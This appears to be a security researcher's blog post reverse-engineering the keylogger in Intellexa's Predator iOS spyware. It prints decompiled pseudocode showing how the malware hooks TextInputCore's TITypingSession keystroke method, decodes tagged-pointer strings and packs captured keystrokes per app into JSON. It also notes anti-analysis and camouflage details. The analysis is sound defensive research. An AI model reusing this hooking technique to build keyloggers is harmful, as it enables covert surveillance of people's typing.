Skip to content

Intellexa's Predator iOS spyware: the KeyLogger

In early December the iOS security research community got an early Christmas present: Google's recovered Intellexa Predator samples. This has been covered wonderfully in great depth from both technical & ops standpoints. I reversed the built-in key logging functionality down to 4 main functions:

__int64 __fastcall KeyLogger_init_taggedPointer(Helper::KeyLogger *this, NSString *a2, char **a3)
{
  unsigned int *v4; // x0

  *a3 = strdup("Returned from init");
  v4 = (unsigned int *)dlsym((void *)0xFFFFFFFFFFFFFFFELL, "_NSTaggedPointerStringGetBytes");
  if ( v4 )
    *((_QWORD *)this + 9) = *(_QWORD *)(((unsigned __int64)&v4[1024
                                                             * (((unsigned __int64)*v4 >> 3) & 0xFFFFC
                                                              | ((unsigned __int64)*v4 >> 29) & 3)]
                                       & 0xFFFFFFFFFFFFF000LL)
                                      + (((unsigned __int64)v4[1] >> 7) & 0x7FF8));
  return 1;
}

0x100010314 finds _NSTaggedPointerStringGetBytes to decode the NSString representations & stores @ PAC-decoded this + 0x48

__int64 __fastcall KeyLogger_execute_dispatcher(Helper::KeyLogger *this, NSString *a2, char **a3)
{
  __int64 v6; // x2
  const char *v7; // x3
  __int64 _28; // [xsp+28h] [xbp+8h]

  if ( -[NSString isEqualToString:](a2, "isEqualToString:", CFSTR("startKeyLogger")) )
  {
    if ( ((_28 ^ (2 * _28)) & 0x4000000000000000LL) != 0 )
      __break(0xC471u);
    return KeyLogger_startKeyLogger_hookInput(this, a3, v6, v7);
  }
  else if ( -[NSString isEqualToString:](a2, "isEqualToString:", CFSTR("stopKeyLogger"))
         || -[NSString isEqualToString:](a2, "isEqualToString:", CFSTR("getSentences")) )
  {
    KeyLogger_getSentences_extractJSON(this, a3);
    return 1;
  }
  else
  {
    *a3 = strdup("command not found");
    return 0;
  }
}

0x10001038c handles KeyLogger-specific command dispatch

__int64 __fastcall KeyLogger_startKeyLogger_hookInput(Helper::KeyLogger *this, char **a2, __int64 a3, const char *a4)
{
  __int64 result; // x0
  __int64 v7; // x21
  __int64 v8; // x0
  __int64 v9; // x20
  _QWORD v10[3]; // [xsp+0h] [xbp-40h] BYREF
  _QWORD *v11; // [xsp+18h] [xbp-28h]

  result = Utils_findObjcMethod_runtime(
             (Utils *)"/System/Library/PrivateFrameworks/TextInputCore.framework/TextInputCore",
             "TITypingSession",
             "addKeyInput:keyboardState:",
             a4);                               // Finds the keyboard input method in iOS private framework TextInputCore
  if ( result )
  {
    v7 = result;
    result = HookerFactory_getHooker_createDMHooker(*((Helper::HookerFactory **)this + 2), "kbd");// Gets the 'kbd' hooker from HookerFactory for keyboard hooking
    *((_QWORD *)this + 10) = result;
    if ( result )
    {
      DMHooker::readLength((DMHooker *)result, *((_QWORD *)this + 9), (unsigned __int64)this + 64, 8u);
      v8 = *((_QWORD *)this + 10);
      v10[0] = &off_100044FF0;
      v10[1] = this;
      v11 = v10;
      v9 = DMHooker::hookAddress(v8, v7, v10, 0);// Installs hook on TITypingSession::addKeyInput:keyboardState: method
      if ( v10 == v11 )
      {
        (*(void (__fastcall **)(_QWORD *))(*v11 + 32LL))(v11);
        if ( v9 )
        {
LABEL_7:
          *a2 = strdup("start");
          return 1;
        }
      }
      else
      {
        if ( v11 )
          (*(void (**)(void))(*v11 + 40LL))();
        if ( v9 )
          goto LABEL_7;
      }
      return 0;
    }
  }
  return result;
}

0x100010488: the core KeyLogger function

bool KeyLogger_getSentences_extractJSON(KeyLogger *this, char **response)
  {
      std::string json = "{";
      KeystrokeSession *session = this->sessionList;
      bool first = true;

      while (session != NULL)
      {
          if (!first)
              json += ",";

          json += "\"" + session->identifier + "\":";
          json += "[[\"";

          for (size_t i = 0; i < session->keystrokes.size(); i++)
          {
              std::string &key = session->keystrokes[i];

              if (key.length() == 1 && key[0] == '"')
                  json += "\",\"";
              else
                  json += key;
          }

          json += "\"]]";
          first = false;
          session = session->next;
      }

      json += "}";
      this->clearAllSessions();
      *response = strdup(json.c_str());
      return true;
  }

  struct KeyLogger {
      void *vtable;
      void *factory;
      void *unknown1;
      void *unknown2;
      KeystrokeSession *sessionList;
      void *unknown3;
      void *unknown4;
      uint64_t decoderCopy;
      uint64_t taggedPointerDecoder;
      DMHooker *hooker;
  };

  struct KeystrokeSession {
      KeystrokeSession *next;
      void *unknown;
      std::string identifier;
      std::vector<std::string> keystrokes;
  };

heavily simplified 0x1000105e8 (JSON extraction) for readability with reconstructed data structures

In sum: iOS routes all keyboard input through TextInputCore. Inside this framework, a class called TITypingSession has a method addKeyInput:keyboardState: that gets called every time a key is pressed. The spyware dynamically locates this method's address in memory at runtime. Once found, it hooks it. The hook captures each keystroke and stores it in a linked list organized by app. iOS uses tagged pointers for the strings, so Predator also locates _NSTaggedPointerStringGetBytes to properly decode the captured keystrokes.

I've also come across some interesting additional details:

  • DMHooker::hookAddress has a 50 μs delay to prevent race conditions (0x10003c0dc)
  • Corellium runtime detection (anti-analysis), while present, is a stub that returns 0 in this build (0x100005bb8)
  • Camouflage under SOSAccountTrustClassic for helpers & looping related to cleanup on shutdown (0x10000828c, 0x10000d734, 0x10000d7a0, 0x10000f318)
  • SearchAddressBookOperationMatch class is present but not used (0x10002a96c)